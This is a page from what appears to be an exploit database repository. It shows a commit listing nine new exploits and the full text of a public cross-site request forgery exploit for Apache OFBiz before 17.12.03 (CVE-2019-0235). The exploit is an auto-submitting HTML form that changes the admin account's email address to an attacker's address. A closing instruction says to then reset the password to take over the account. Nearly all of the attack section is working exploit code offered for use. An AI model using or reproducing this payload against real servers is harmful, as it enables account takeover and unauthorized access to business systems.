9de5d20d13
9 changes to exploits/shellcodes VirtualTablet Server 3.0.2 - Denial of Service (PoC) Apache Shiro 1.2.4 - Cookie RememberME Deserial RCE (Metasploit) ChemInv 1.0 - Authenticated Persistent Cross-Site Scripting Online Scheduling System 1.0 - Persistent Cross-Site Scripting php-fusion 9.03.50 - Persistent Cross-Site Scripting Super Backup 2.0.5 for iOS - Directory Traversal HardDrive 2.1 for iOS - Arbitrary File Upload Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover) Online Scheduling System 1.0 - Authentication Bypass
29 lines
No EOL
1.1 KiB
Text
29 lines
No EOL
1.1 KiB
Text
# Exploit Title: Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover)
|
|
# Exploit Author: Faiz Ahmed Zaidi
|
|
# Vendor Homepage: [https://ofbiz.apache.org/security.html]
|
|
# Software Link: https://ofbiz.apache.org/download.html#security
|
|
# Version: Before 17.12.03
|
|
# Tested on: Linux and Windows
|
|
# CVE : CVE-2019-0235
|
|
|
|
#Exploit Code:
|
|
|
|
<html>
|
|
<body>
|
|
<form action="https://hostipaddress:8443/partymgr/control/updateEmailAddress" method="POST">
|
|
<input type="hidden" name="contactMechId" value="admin" />
|
|
<input type="hidden" name="contactMechTypeId" value="EMAIL_ADDRESS" />
|
|
<input type="hidden" name="partyId" value="admin" />
|
|
<input type="hidden" name="DONE_PAGE" value="viewprofile?party_id=admin∂yId=admin" />
|
|
<input type="hidden" name="emailAddress" value="attackeremail@id.com" />
|
|
<input type="hidden" name="allowSolicitation" value="Y" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
<script>
|
|
document.forms[0].submit();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
After that do a password reset via forget password.
|
|
It's done :) |